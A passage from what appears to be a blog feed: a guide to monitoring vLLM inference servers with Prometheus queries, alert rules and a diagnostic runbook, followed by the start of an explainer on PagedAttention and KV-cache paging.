<span class="giallo-l"><span>)</span></span></code></pre><h3 id="p95-queue-time">P95 queue time</h3>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#4C4F69, #CDD6F4); background-color: light-dark(#EFF1F5, #1E1E2E);"><code data-lang="plain"><span class="giallo-l"><span>histogram_quantile(</span></span>
<span class="giallo-l"><span>  0.95,</span></span>
<span class="giallo-l"><span>  sum by (le, model_name) (</span></span>
<span class="giallo-l"><span>    rate(vllm:request_queue_time_seconds_bucket[5m])</span></span>
<span class="giallo-l"><span>  )</span></span>
<span class="giallo-l"><span>)</span></span></code></pre><h3 id="p95-vllm-end-to-end-latency">P95 vLLM end-to-end latency</h3>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#4C4F69, #CDD6F4); background-color: light-dark(#EFF1F5, #1E1E2E);"><code data-lang="plain"><span class="giallo-l"><span>histogram_quantile(</span></span>
<span class="giallo-l"><span>  0.95,</span></span>
<span class="giallo-l"><span>  sum by (le, model_name) (</span></span>
<span class="giallo-l"><span>    rate(vllm:e2e_request_latency_seconds_bucket[5m])</span></span>
<span class="giallo-l"><span>  )</span></span>
<span class="giallo-l"><span>)</span></span></code></pre>
<p>Percentiles need enough observations. P99 over five minutes is often noisy for low-volume models.
Show request volume next to percentile panels, use a longer range when traffic is sparse, and remember that classic
Prometheus histogram quantiles are estimated from configured buckets.</p>
<h2 id="a-practical-interpretation-matrix">A practical interpretation matrix</h2>
<p>No single metric identifies the cause. Use combinations of signals:</p>
<table><thead><tr><th>TTFT</th><th>Queue time</th><th>ITL</th><th>Likely direction</th></tr></thead><tbody>
<tr><td>High</td><td>High</td><td>Stable</td><td>Offered load exceeds capacity, or large prefills occupy the scheduler</td></tr>
<tr><td>High</td><td>Low</td><td>Stable</td><td>Prefill or the first execution step is slow; prompts may be longer or prefix-cache reuse may have fallen</td></tr>
<tr><td>Stable</td><td>Low</td><td>High</td><td>Decode is slow or uneven; investigate concurrency, memory bandwidth, throttling, and distributed-execution overhead</td></tr>
<tr><td>High</td><td>High</td><td>High</td><td>Severe saturation, preemption, infrastructure degradation, or an overloaded shared deployment</td></tr>
</tbody></table>
<p>Treat this table as triage, not proof. Confirm the hypothesis with workload-shape metrics, preemption counters, prefix-cache metrics, GPU telemetry, and request traces.</p>
<h2 id="throughput-and-offered-load">Throughput and offered load</h2>
<p>Latency tells you what users experience. Throughput tells you how much work the engine completes.</p>
<h3 id="prompt-tokens-per-second">Prompt tokens per second</h3>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#4C4F69, #CDD6F4); background-color: light-dark(#EFF1F5, #1E1E2E);"><code data-lang="plain"><span class="giallo-l"><span>sum by (model_name) (</span></span>
<span class="giallo-l"><span>  rate(vllm:prompt_tokens_total[5m])</span></span>
<span class="giallo-l"><span>)</span></span></code></pre><h3 id="generated-tokens-per-second">Generated tokens per second</h3>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#4C4F69, #CDD6F4); background-color: light-dark(#EFF1F5, #1E1E2E);"><code data-lang="plain"><span class="giallo-l"><span>sum by (model_name) (</span></span>
<span class="giallo-l"><span>  rate(vllm:generation_tokens_total[5m])</span></span>
<span class="giallo-l"><span>)</span></span></code></pre><h3 id="completed-engine-requests-per-second">Completed engine requests per second</h3>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#4C4F69, #CDD6F4); background-color: light-dark(#EFF1F5, #1E1E2E);"><code data-lang="plain"><span class="giallo-l"><span>sum by (model_name) (</span></span>
<span class="giallo-l"><span>  rate(vllm:request_success_total[5m])</span></span>
<span class="giallo-l"><span>)</span></span></code></pre>
<p>The last query measures completed engine requests, not incoming demand. During overload, completion rate may flatten
while new requests continue to arrive. Measure true offered load at the gateway or API-server boundary.</p>
<p>Token throughput is meaningful only alongside workload shape. A drop in generated tokens per second may mean:</p>
<ul>
<li>lower request volume</li>
<li>shorter outputs</li>
<li>more prefill-heavy traffic</li>
<li>slower decode</li>
<li>scheduler contention</li>
<li>a model or configuration change</li>
</ul>
<p>Before calling it a serving regression, compare request rate, prompt-token rate, output-length distributions, TTFT,
ITL, queue time, and active concurrency.</p>
<h2 id="workload-shape-the-missing-part-of-many-dashboards">Workload shape: the missing part of many dashboards</h2>
<p>The same model and hardware can behave very differently when prompt and output lengths change.</p>
<p>Useful request histograms include:</p>
<ul>
<li><code>vllm:request_prompt_tokens</code></li>
<li><code>vllm:request_generation_tokens</code></li>
<li><code>vllm:request_params_max_tokens</code></li>
<li><code>vllm:request_prefill_kv_computed_tokens</code></li>
</ul>
<p>These metrics answer questions such as:</p>
<ul>
<li>Did prompts become longer after a product release?</li>
<li>Are users requesting much larger outputs?</li>
<li>Did prefix caching reduce the amount of prefill work?</li>
<li>Is a latency change explained by traffic composition rather than infrastructure?</li>
</ul>
<p>Keep workload-shape panels near latency and throughput panels. Otherwise, engineers will repeatedly misdiagnose
legitimate workload changes as serving regressions.</p>
<h2 id="scheduler-and-kv-cache-pressure">Scheduler and KV-cache pressure</h2>
<p>The current V1 engine normally handles KV-cache pressure through preemption and recomputation. When the active working
set no longer fits cleanly, vLLM can evict request state and later recompute it. Correctness is preserved, but useful
compute is repeated and latency increases.</p>
<h3 id="scheduler-state">Scheduler state</h3>
<ul>
<li><code>vllm:num_requests_running</code> — requests included in active model-execution batches</li>
<li><code>vllm:num_requests_waiting</code> — requests waiting for scheduler capacity</li>
<li><code>vllm:num_requests_waiting_by_reason</code> — waiting requests partitioned by reason</li>
<li><code>vllm:num_preemptions_total</code> — cumulative number of preemptions</li>
</ul>
<p>A non-zero waiting gauge is not automatically an incident. Short queues are normal under bursty traffic and
continuous batching. Alert on sustained queue time, a growing backlog, or queueing that violates the service objective.</p>
<h3 id="kv-cache-usage">KV-cache usage</h3>
<p>Metric:</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#4C4F69, #CDD6F4); background-color: light-dark(#EFF1F5, #1E1E2E);"><code data-lang="plain"><span class="giallo-l"><span>vllm:kv_cache_usage_perc</span></span></code></pre>
<p>This gauge represents the fraction of allocated KV-cache capacity currently in use.</p>
<p>High usage is not inherently bad. A healthy operating range depends on model architecture, context-length distribution,
concurrency, prefix-cache reuse, speculative decoding, and cache configuration. Do not copy a universal threshold such
as 80% or 95% without testing your own deployment.</p>
<p>A stronger pressure signal is the combination of:</p>
<ul>
<li>KV-cache usage near its normal ceiling</li>
<li>increasing queue time</li>
<li>increasing preemptions</li>
<li>worsening TTFT, ITL, or vLLM end-to-end latency</li>
</ul>
<h3 id="preemption-rate">Preemption rate</h3>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#4C4F69, #CDD6F4); background-color: light-dark(#EFF1F5, #1E1E2E);"><code data-lang="plain"><span class="giallo-l"><span>sum by (model_name) (</span></span>
<span class="giallo-l"><span>  rate(vllm:num_preemptions_total[5m])</span></span>
<span class="giallo-l"><span>)</span></span></code></pre>
<p>An occasional preemption during a short burst may not justify an incident. The meaningful condition is sustained
preemption above a tested baseline, especially when latency or queueing also degrades.</p>
<h3 id="prefix-cache-effectiveness">Prefix-cache effectiveness</h3>
<p>When automatic prefix caching is enabled, calculate the hit ratio from its counters:</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#4C4F69, #CDD6F4); background-color: light-dark(#EFF1F5, #1E1E2E);"><code data-lang="plain"><span class="giallo-l"><span>sum by (model_name) (</span></span>
<span class="giallo-l"><span>  rate(vllm:prefix_cache_hits_total[5m])</span></span>
<span class="giallo-l"><span>)</span></span>
<span class="giallo-l"><span>/</span></span>
<span class="giallo-l"><span>clamp_min(</span></span>
<span class="giallo-l"><span>  sum by (model_name) (</span></span>
<span class="giallo-l"><span>    rate(vllm:prefix_cache_queries_total[5m])</span></span>
<span class="giallo-l"><span>  ),</span></span>
<span class="giallo-l"><span>  1</span></span>
<span class="giallo-l"><span>)</span></span></code></pre>
<p>Interpret this together with workload composition. A low ratio may be expected for diverse prompts.
A sudden drop for a stable workload may explain increased prefill cost and TTFT.</p>
<h2 id="request-completion-and-failures">Request completion and failures</h2>
<p>vLLM exposes a counter of completed engine requests partitioned by the <code>finished_reason</code> label:</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#4C4F69, #CDD6F4); background-color: light-dark(#EFF1F5, #1E1E2E);"><code data-lang="plain"><span class="giallo-l"><span>vllm:request_success_total{finished_reason=&quot;...&quot;}</span></span></code></pre><h3 id="completed-requests-by-reason">Completed requests by reason</h3>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#4C4F69, #CDD6F4); background-color: light-dark(#EFF1F5, #1E1E2E);"><code data-lang="plain"><span class="giallo-l"><span>sum by (model_name, finished_reason) (</span></span>
<span class="giallo-l"><span>  rate(vllm:request_success_total[5m])</span></span>
<span class="giallo-l"><span>)</span></span></code></pre>
<p>Despite its name, this metric is not a complete service-level success-rate metric. Requests can fail before they reach
the engine because of authentication, quota enforcement, malformed input, routing failures, gateway timeouts,
or connection errors. Client disconnects and cancellations may also be represented differently depending on
the serving path and version.</p>
<p>Use <code>request_success_total</code> as an engine-completion signal. Measure service availability and error rate at the HTTP boundary.</p>
<h2 id="the-production-dashboard">The production dashboard</h2>
<p>A useful incident dashboard should answer four questions: what users experience, whether work is queueing,
whether the engine is under memory pressure, and whether the workload changed.</p>
<p>Include at least:</p>
<ol>
<li>Incoming request rate and HTTP error rate at the gateway or API server</li>
<li>P95 and P99 TTFT</li>
<li>P95 and P99 ITL</li>
<li>P95 request-level TPOT</li>
<li>P95 vLLM end-to-end latency</li>
<li>P95 queue time and current waiting requests</li>
<li>Preemption rate and KV-cache usage</li>
<li>Prompt and generation token throughput</li>
<li>Prompt-length and output-length distributions</li>
<li>Prefix-cache hit ratio when prefix caching is enabled</li>
<li>GPU utilization, memory, power, clocks, throttling, and hardware errors</li>
</ol>
<p>vLLM ships reference Grafana and Perses dashboards. Use them as a baseline, then add your deployment labels,
gateway metrics, SLO panels, and links to pod-level GPU telemetry.</p>
<h2 id="alerts-that-reflect-user-impact">Alerts that reflect user impact</h2>
<p>Alert thresholds should come from SLOs and representative load tests, not generic constants copied from another deployment.</p>
<p>The following rules demonstrate useful alert shapes. Replace example thresholds and selectors with values derived from your service.</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#4C4F69, #CDD6F4); background-color: light-dark(#EFF1F5, #1E1E2E);"><code data-lang="yaml"><span class="giallo-l"><span style="color: light-dark(#1E66F5, #89B4FA);">g</span><span style="color: light-dark(#1E66F5, #89B4FA);">roups</span><span style="color: light-dark(#179299, #94E2D5);">:</span></span>
<span class="giallo-l"><span style="color: light-dark(#7C7F93, #9399B2);">  -</span><span style="color: light-dark(#1E66F5, #89B4FA);"> n</span><span style="color: light-dark(#1E66F5, #89B4FA);">ame</span><span style="color: light-dark(#179299, #94E2D5);">:</span><span style="color: light-dark(#40A02B, #A6E3A1);"> v</span><span style="color: light-dark(#40A02B, #A6E3A1);">llm-serving</span></span>
<span class="giallo-l"><span style="color: light-dark(#1E66F5, #89B4FA);">    r</span><span style="color: light-dark(#1E66F5, #89B4FA);">ules</span><span style="color: light-dark(#179299, #94E2D5);">:</span></span>
<span class="giallo-l"><span style="color: light-dark(#7C7F93, #9399B2);">      -</span><span style="color: light-dark(#1E66F5, #89B4FA);"> a</span><span style="color: light-dark(#1E66F5, #89B4FA);">lert</span><span style="color: light-dark(#179299, #94E2D5);">:</span><span style="color: light-dark(#40A02B, #A6E3A1);"> V</span><span style="color: light-dark(#40A02B, #A6E3A1);">LLMHighTTFT</span></span>
<span class="giallo-l"><span style="color: light-dark(#1E66F5, #89B4FA);">        e</span><span style="color: light-dark(#1E66F5, #89B4FA);">xpr</span><span style="color: light-dark(#179299, #94E2D5);">:</span><span style="color: light-dark(#8839EF, #CBA6F7);"> |</span></span>
<span class="giallo-l"><span style="color: light-dark(#40A02B, #A6E3A1);">          histogram_quantile(</span></span>
<span class="giallo-l"><span style="color: light-dark(#40A02B, #A6E3A1);">            0.95,</span></span>
<span class="giallo-l"><span style="color: light-dark(#40A02B, #A6E3A1);">            sum by (le, cluster, model_name) (</span></span>
<span class="giallo-l"><span style="color: light-dark(#40A02B, #A6E3A1);">              rate(vllm:time_to_first_token_seconds_bucket[5m])</span></span>
<span class="giallo-l"><span style="color: light-dark(#40A02B, #A6E3A1);">            )</span></span>
<span class="giallo-l"><span style="color: light-dark(#40A02B, #A6E3A1);">          ) &gt; 3</span></span>
<span class="giallo-l"><span style="color: light-dark(#1E66F5, #89B4FA);">        f</span><span style="color: light-dark(#1E66F5, #89B4FA);">or</span><span style="color: light-dark(#179299, #94E2D5);">:</span><span style="color: light-dark(#40A02B, #A6E3A1);"> 1</span><span style="color: light-dark(#40A02B, #A6E3A1);">0m</span></span>
<span class="giallo-l"><span style="color: light-dark(#1E66F5, #89B4FA);">        l</span><span style="color: light-dark(#1E66F5, #89B4FA);">abels</span><span style="color: light-dark(#179299, #94E2D5);">:</span></span>
<span class="giallo-l"><span style="color: light-dark(#1E66F5, #89B4FA);">          s</span><span style="color: light-dark(#1E66F5, #89B4FA);">everity</span><span style="color: light-dark(#179299, #94E2D5);">:</span><span style="color: light-dark(#40A02B, #A6E3A1);"> w</span><span style="color: light-dark(#40A02B, #A6E3A1);">arning</span></span>
<span class="giallo-l"><span style="color: light-dark(#1E66F5, #89B4FA);">        a</span><span style="color: light-dark(#1E66F5, #89B4FA);">nnotations</span><span style="color: light-dark(#179299, #94E2D5);">:</span></span>
<span class="giallo-l"><span style="color: light-dark(#1E66F5, #89B4FA);">          s</span><span style="color: light-dark(#1E66F5, #89B4FA);">ummary</span><span style="color: light-dark(#179299, #94E2D5);">:</span><span style="color: light-dark(#40A02B, #A6E3A1);"> &quot;</span><span style="color: light-dark(#40A02B, #A6E3A1);">vLLM TTFT is above the service objective</span><span style="color: light-dark(#40A02B, #A6E3A1);">&quot;</span></span>
<span class="giallo-l"><span style="color: light-dark(#1E66F5, #89B4FA);">          d</span><span style="color: light-dark(#1E66F5, #89B4FA);">escription</span><span style="color: light-dark(#179299, #94E2D5);">:</span><span style="color: light-dark(#40A02B, #A6E3A1);"> &quot;</span><span style="color: light-dark(#40A02B, #A6E3A1);">P95 TTFT for {{ $labels.model_name }} is {{ $value | printf </span><span style="color: light-dark(#EA76CB, #F5C2E7);">\&quot;</span><span style="color: light-dark(#40A02B, #A6E3A1);">%.2f</span><span style="color: light-dark(#EA76CB, #F5C2E7);">\&quot;</span><span style="color: light-dark(#40A02B, #A6E3A1);"> }} seconds.</span><span style="color: light-dark(#40A02B, #A6E3A1);">&quot;</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: light-dark(#7C7F93, #9399B2);">      -</span><span style="color: light-dark(#1E66F5, #89B4FA);"> a</span><span style="color: light-dark(#1E66F5, #89B4FA);">lert</span><span style="color: light-dark(#179299, #94E2D5);">:</span><span style="color: light-dark(#40A02B, #A6E3A1);"> V</span><span style="color: light-dark(#40A02B, #A6E3A1);">LLMQueueTimeHigh</span></span>
<span class="giallo-l"><span style="color: light-dark(#1E66F5, #89B4FA);">        e</span><span style="color: light-dark(#1E66F5, #89B4FA);">xpr</span><span style="color: light-dark(#179299, #94E2D5);">:</span><span style="color: light-dark(#8839EF, #CBA6F7);"> |</span></span>
<span class="giallo-l"><span style="color: light-dark(#40A02B, #A6E3A1);">          histogram_quantile(</span></span>
<span class="giallo-l"><span style="color: light-dark(#40A02B, #A6E3A1);">            0.95,</span></span>
<span class="giallo-l"><span style="color: light-dark(#40A02B, #A6E3A1);">            sum by (le, cluster, model_name) (</span></span>
<span class="giallo-l"><span style="color: light-dark(#40A02B, #A6E3A1);">              rate(vllm:request_queue_time_seconds_bucket[5m])</span></span>
<span class="giallo-l"><span style="color: light-dark(#40A02B, #A6E3A1);">            )</span></span>
<span class="giallo-l"><span style="color: light-dark(#40A02B, #A6E3A1);">          ) &gt; 2</span></span>
<span class="giallo-l"><span style="color: light-dark(#1E66F5, #89B4FA);">        f</span><span style="color: light-dark(#1E66F5, #89B4FA);">or</span><span style="color: light-dark(#179299, #94E2D5);">:</span><span style="color: light-dark(#40A02B, #A6E3A1);"> 1</span><span style="color: light-dark(#40A02B, #A6E3A1);">0m</span></span>
<span class="giallo-l"><span style="color: light-dark(#1E66F5, #89B4FA);">        l</span><span style="color: light-dark(#1E66F5, #89B4FA);">abels</span><span style="color: light-dark(#179299, #94E2D5);">:</span></span>
<span class="giallo-l"><span style="color: light-dark(#1E66F5, #89B4FA);">          s</span><span style="color: light-dark(#1E66F5, #89B4FA);">everity</span><span style="color: light-dark(#179299, #94E2D5);">:</span><span style="color: light-dark(#40A02B, #A6E3A1);"> w</span><span style="color: light-dark(#40A02B, #A6E3A1);">arning</span></span>
<span class="giallo-l"><span style="color: light-dark(#1E66F5, #89B4FA);">        a</span><span style="color: light-dark(#1E66F5, #89B4FA);">nnotations</span><span style="color: light-dark(#179299, #94E2D5);">:</span></span>
<span class="giallo-l"><span style="color: light-dark(#1E66F5, #89B4FA);">          s</span><span style="color: light-dark(#1E66F5, #89B4FA);">ummary</span><span style="color: light-dark(#179299, #94E2D5);">:</span><span style="color: light-dark(#40A02B, #A6E3A1);"> &quot;</span><span style="color: light-dark(#40A02B, #A6E3A1);">vLLM requests are spending too long in the scheduler queue</span><span style="color: light-dark(#40A02B, #A6E3A1);">&quot;</span></span>
<span class="giallo-l"><span style="color: light-dark(#1E66F5, #89B4FA);">          d</span><span style="color: light-dark(#1E66F5, #89B4FA);">escription</span><span style="color: light-dark(#179299, #94E2D5);">:</span><span style="color: light-dark(#40A02B, #A6E3A1);"> &quot;</span><span style="color: light-dark(#40A02B, #A6E3A1);">P95 queue time for {{ $labels.model_name }} is {{ $value | printf </span><span style="color: light-dark(#EA76CB, #F5C2E7);">\&quot;</span><span style="color: light-dark(#40A02B, #A6E3A1);">%.2f</span><span style="color: light-dark(#EA76CB, #F5C2E7);">\&quot;</span><span style="color: light-dark(#40A02B, #A6E3A1);"> }} seconds.</span><span style="color: light-dark(#40A02B, #A6E3A1);">&quot;</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: light-dark(#7C7F93, #9399B2);">      -</span><span style="color: light-dark(#1E66F5, #89B4FA);"> a</span><span style="color: light-dark(#1E66F5, #89B4FA);">lert</span><span style="color: light-dark(#179299, #94E2D5);">:</span><span style="color: light-dark(#40A02B, #A6E3A1);"> V</span><span style="color: light-dark(#40A02B, #A6E3A1);">LLMPreemptionRelatedDegradation</span></span>
<span class="giallo-l"><span style="color: light-dark(#1E66F5, #89B4FA);">        e</span><span style="color: light-dark(#1E66F5, #89B4FA);">xpr</span><span style="color: light-dark(#179299, #94E2D5);">:</span><span style="color: light-dark(#8839EF, #CBA6F7);"> |</span></span>
<span class="giallo-l"><span style="color: light-dark(#40A02B, #A6E3A1);">          sum by (cluster, model_name) (</span></span>
<span class="giallo-l"><span style="color: light-dark(#40A02B, #A6E3A1);">            increase(vllm:num_preemptions_total[10m])</span></span>
<span class="giallo-l"><span style="color: light-dark(#40A02B, #A6E3A1);">          ) &gt; 0</span></span>
<span class="giallo-l"><span style="color: light-dark(#40A02B, #A6E3A1);">          and</span></span>
<span class="giallo-l"><span style="color: light-dark(#40A02B, #A6E3A1);">          histogram_quantile(</span></span>
<span class="giallo-l"><span style="color: light-dark(#40A02B, #A6E3A1);">            0.95,</span></span>
<span class="giallo-l"><span style="color: light-dark(#40A02B, #A6E3A1);">            sum by (le, cluster, model_name) (</span></span>
<span class="giallo-l"><span style="color: light-dark(#40A02B, #A6E3A1);">              rate(vllm:time_to_first_token_seconds_bucket[5m])</span></span>
<span class="giallo-l"><span style="color: light-dark(#40A02B, #A6E3A1);">            )</span></span>
<span class="giallo-l"><span style="color: light-dark(#40A02B, #A6E3A1);">          ) &gt; 3</span></span>
<span class="giallo-l"><span style="color: light-dark(#1E66F5, #89B4FA);">        f</span><span style="color: light-dark(#1E66F5, #89B4FA);">or</span><span style="color: light-dark(#179299, #94E2D5);">:</span><span style="color: light-dark(#40A02B, #A6E3A1);"> 1</span><span style="color: light-dark(#40A02B, #A6E3A1);">0m</span></span>
<span class="giallo-l"><span style="color: light-dark(#1E66F5, #89B4FA);">        l</span><span style="color: light-dark(#1E66F5, #89B4FA);">abels</span><span style="color: light-dark(#179299, #94E2D5);">:</span></span>
<span class="giallo-l"><span style="color: light-dark(#1E66F5, #89B4FA);">          s</span><span style="color: light-dark(#1E66F5, #89B4FA);">everity</span><span style="color: light-dark(#179299, #94E2D5);">:</span><span style="color: light-dark(#40A02B, #A6E3A1);"> w</span><span style="color: light-dark(#40A02B, #A6E3A1);">arning</span></span>
<span class="giallo-l"><span style="color: light-dark(#1E66F5, #89B4FA);">        a</span><span style="color: light-dark(#1E66F5, #89B4FA);">nnotations</span><span style="color: light-dark(#179299, #94E2D5);">:</span></span>
<span class="giallo-l"><span style="color: light-dark(#1E66F5, #89B4FA);">          s</span><span style="color: light-dark(#1E66F5, #89B4FA);">ummary</span><span style="color: light-dark(#179299, #94E2D5);">:</span><span style="color: light-dark(#40A02B, #A6E3A1);"> &quot;</span><span style="color: light-dark(#40A02B, #A6E3A1);">vLLM preemptions correlate with degraded TTFT</span><span style="color: light-dark(#40A02B, #A6E3A1);">&quot;</span></span>
<span class="giallo-l"><span style="color: light-dark(#1E66F5, #89B4FA);">          d</span><span style="color: light-dark(#1E66F5, #89B4FA);">escription</span><span style="color: light-dark(#179299, #94E2D5);">:</span><span style="color: light-dark(#40A02B, #A6E3A1);"> &quot;</span><span style="color: light-dark(#40A02B, #A6E3A1);">Requests are being recomputed while TTFT is above the service objective.</span><span style="color: light-dark(#40A02B, #A6E3A1);">&quot;</span></span></code></pre>
<p>The preemption expression is intentionally correlated with latency and aggregated to the same
<code>cluster</code> and <code>model_name</code> labels as TTFT. Page on user impact, not on an isolated internal event.</p>
<p>In a mature SRE setup, prefer multi-window burn-rate alerts for availability and latency SLOs.
Raw percentile alerts are easier to explain in a compact guide, but they should not replace a complete SLO strategy.</p>
<h2 id="runbook-metrics-to-diagnosis">Runbook: metrics to diagnosis</h2>
<h3 id="scenario-1-ttft-rises-and-queue-time-rises">Scenario 1: TTFT rises and queue time rises</h3>
<h4 id="what-you-see">What you see</h4>
<ul>
<li>P95 TTFT increases</li>
<li>P95 queue time increases</li>
<li><code>vllm:num_requests_waiting</code> remains above its normal baseline</li>
</ul>
<h4 id="likely-causes">Likely causes</h4>
<ul>
<li>offered load exceeds serving capacity</li>
<li>prompt lengths increased</li>
<li>large prefills occupy scheduler capacity</li>
<li>traffic is distributed unevenly across replicas</li>
</ul>
<h4 id="what-to-do">What to do</h4>
<ol>
<li>Compare incoming request rate and prompt-length distributions with the previous healthy period</li>
<li>Check whether all replicas receive comparable traffic and remain healthy</li>
<li>Confirm whether the bottleneck is prefill, decode, or queueing</li>
<li>Apply admission control or shed non-critical load if latency is unstable</li>
<li>Scale out only after confirming that additional replicas address the actual bottleneck</li>
</ol>
<h3 id="scenario-2-itl-rises-while-queue-time-remains-low">Scenario 2: ITL rises while queue time remains low</h3>
<h4 id="what-you-see-1">What you see</h4>
<ul>
<li>P95 or P99 ITL increases</li>
<li>queue time remains close to normal</li>
<li>generated tokens per second may fall</li>
</ul>
<h4 id="likely-causes-1">Likely causes</h4>
<ul>
<li>excessive active concurrency</li>
<li>GPU memory-bandwidth pressure</li>
<li>GPU clock or power throttling</li>
<li>distributed-execution or communication overhead</li>
<li>a model, kernel, or runtime change</li>
</ul>
<h4 id="what-to-do-1">What to do</h4>
<ol>
<li>Check GPU clocks, power, temperature, utilization, and hardware-error metrics</li>
<li>Compare the model and vLLM configuration with the last healthy release</li>
<li>Run a representative load test before changing <code>max_num_seqs</code> or <code>max_num_batched_tokens</code></li>
<li>Remember that lower concurrency may improve ITL while reducing aggregate throughput or increasing queue time</li>
</ol>
<h3 id="scenario-3-preemptions-increase">Scenario 3: Preemptions increase</h3>
<h4 id="what-you-see-2">What you see</h4>
<ul>
<li><code>rate(vllm:num_preemptions_total[5m])</code> becomes elevated</li>
<li>KV-cache usage is near its normal ceiling</li>
<li>queue time, TTFT, ITL, or end-to-end latency worsens</li>
</ul>
<h4 id="what-it-means">What it means</h4>
<p>The active KV-cache working set does not fit cleanly. vLLM evicts request state and recomputes it later,
which wastes compute and increases latency.</p>
<h4 id="what-to-do-2">What to do</h4>
<ol>
<li>Stabilize admitted load before tuning the engine</li>
<li>Check whether prompt lengths, output limits, or concurrency changed</li>
<li>Reproduce the workload in a controlled load test</li>
<li>Test <code>max_num_seqs</code> and <code>max_num_batched_tokens</code> as trade-offs, not one-directional fixes</li>
<li>Increase <code>gpu_memory_utilization</code> only after validating startup and peak-load memory behavior
Leave headroom for CUDA graphs, communication buffers, runtime workspaces, and model-specific allocation spikes.</li>
<li>Add replicas or GPU capacity if the working set is legitimate and sustained</li>
</ol>
<h3 id="scenario-4-http-errors-or-client-cancellations-rise">Scenario 4: HTTP errors or client cancellations rise</h3>
<h4 id="what-you-see-3">What you see</h4>
<ul>
<li>gateway or API-server 4xx/5xx rates increase</li>
<li>upstream timeouts or client disconnects increase</li>
<li>vLLM engine completion rate may fall or remain flat</li>
</ul>
<h4 id="likely-causes-2">Likely causes</h4>
<ul>
<li>authentication or quota failures</li>
<li>gateway timeout configuration</li>
<li>malformed or unsupported requests</li>
<li>overloaded routing or admission layers</li>
<li>clients giving up while requests wait</li>
<li>engine or CUDA failures</li>
</ul>
<h4 id="what-to-do-3">What to do</h4>
<ol>
<li>Start at the HTTP boundary: status codes, timeout reasons, and upstream latency</li>
<li>Correlate failures with vLLM queue time and TTFT</li>
<li>Inspect vLLM and GPU logs for runtime or hardware errors</li>
<li>Do not infer the service error rate from <code>request_success_total</code> alone</li>
</ol>
<h2 id="final-checklist">Final checklist</h2>
<ul>
<li><strong>User experience:</strong> TTFT, ITL, request-level TPOT, and end-to-end latency</li>
<li><strong>Offered load:</strong> incoming HTTP requests, status codes, and timeouts</li>
<li><strong>Scheduler pressure:</strong> queue time, waiting requests, and active requests</li>
<li><strong>Memory pressure:</strong> KV-cache usage and preemptions</li>
<li><strong>Useful work:</strong> prompt and generation tokens per second</li>
<li><strong>Workload shape:</strong> prompt lengths, output lengths, and requested limits</li>
<li><strong>Infrastructure:</strong> GPU, host, network, and distributed-execution telemetry</li>
<li><strong>Operations:</strong> tested thresholds, SLO-based alerts, and an incident runbook</li>
</ul>
<p>The core mental model is simple: <strong>request-level latency tells you what users experience; scheduler, cache,
workload-shape, and infrastructure metrics explain why.</strong></p>
<h2 id="references">References</h2>
<ul>
<li><a rel="noopener external" target="_blank" href="https://docs.vllm.ai/en/v0.23.0/usage/metrics/">vLLM production metrics</a></li>
<li><a rel="noopener external" target="_blank" href="https://docs.vllm.ai/en/v0.23.0/design/metrics/">vLLM metrics design</a></li>
<li><a rel="noopener external" target="_blank" href="https://github.com/vllm-project/vllm/tree/v0.23.0/examples/observability/dashboards">vLLM monitoring dashboards</a></li>
<li><a rel="noopener external" target="_blank" href="https://prometheus.io/docs/concepts/data_model/">Prometheus metric and label naming</a></li>
</ul>

        
      ]]></description>
    </item>
    
    <item>
      <title>Why vLLM Scales: Paging the KV-Cache for Faster LLM Inference</title>
      <pubDate>Tue, 27 Jan 2026 00:00:00 +0000</pubDate>
      <author>Andrey Krisanov</author>
      <link>https://akrisanov.com/vllm/</link>
      <guid>https://akrisanov.com/vllm/</guid>
      <description xml:base="https://akrisanov.com/vllm/"><![CDATA[
        <p>Published: 2026-01-27</p>
        
        
          <p>If you’ve ever tried to serve large language models at scale, you’ve probably hit the same wall:
VRAM runs out much earlier than expected, batching stops scaling, and latency becomes unpredictable.</p>
<p><a rel="noopener external" target="_blank" href="https://vllm.ai/">vLLM</a> exists almost entirely to fix this.</p>
<p>At its core, vLLM is a high-performance LLM inference engine that dramatically improves GPU utilization.
The key idea behind it is <a rel="noopener external" target="_blank" href="https://arxiv.org/abs/2309.06180">PagedAttention</a> – a different way to manage
the KV-cache that removes most of the memory waste common in traditional LLM serving stacks.</p>
<p>Let’s break down why this is such a big deal.</p>
<h2 id="the-core-problem-kv-cache-fragmentation">The Core Problem: KV-Cache Fragmentation</h2>
<p>In traditional LLM serving systems, the KV-cache (the keys and values representing token context)
must live in a single contiguous block of GPU memory.</p>
<p>There’s a catch: you don’t know in advance how long the model’s answer will be.</p>
<p>So the system plays it safe and reserves memory for the maximum context length – say,
2048 or 4096 tokens – for every request.</p>
<p>The result?</p>
<ul>
<li>Large chunks of VRAM are reserved but never used</li>
<li>Memory becomes fragmented</li>
<li>Up to 60–80% of KV-cache memory is effectively wasted</li>
</ul>
<p>That wasted VRAM could have been used to serve more requests in parallel.</p>
<h2 id="pagedattention-borrowing-an-idea-from-operating-systems">PagedAttention: Borrowing an Idea from Operating Systems</h2>
<p>PagedAttention takes inspiration from virtual memory and paging in operating systems.</p>
<p>Instead of allocating one big contiguous block per request, it does this:</p>
<ol>
<li><strong>Split KV-cache into fixed-size blocks.</strong> Each request’s KV-cache is divided into blocks (for example, 16 or 32 tokens per block).</li>
<li><strong>No need for physical continuity.</strong> These blocks can live anywhere in VRAM – they don’t have to be next to each other.</li>
<li><strong>Virtual addressing with a Block Table.</strong> vLLM keeps a mapping from logical token order to physical memory blocks on the GPU.</li>
<li><strong>Allocate memory only when needed.</strong> New blocks are allocated only when new tokens are generated – no upfront over-reservation.</li>
</ol>
<p>This single change unlocks most of vLLM’s performance gains.</p>
<h2 id="key-effects-of-paged-kv-cache">Key Effects of Paged KV-cache</h2>
<h3 id="almost-no-external-fragmentation">Almost no external fragmentation</h3>
<p>Because blocks don’t need to be contiguous, free memory can be reused efficiently instead of becoming unusable holes.</p>
<h3 id="minimal-internal-fragmentation">Minimal internal fragmentation</h3>
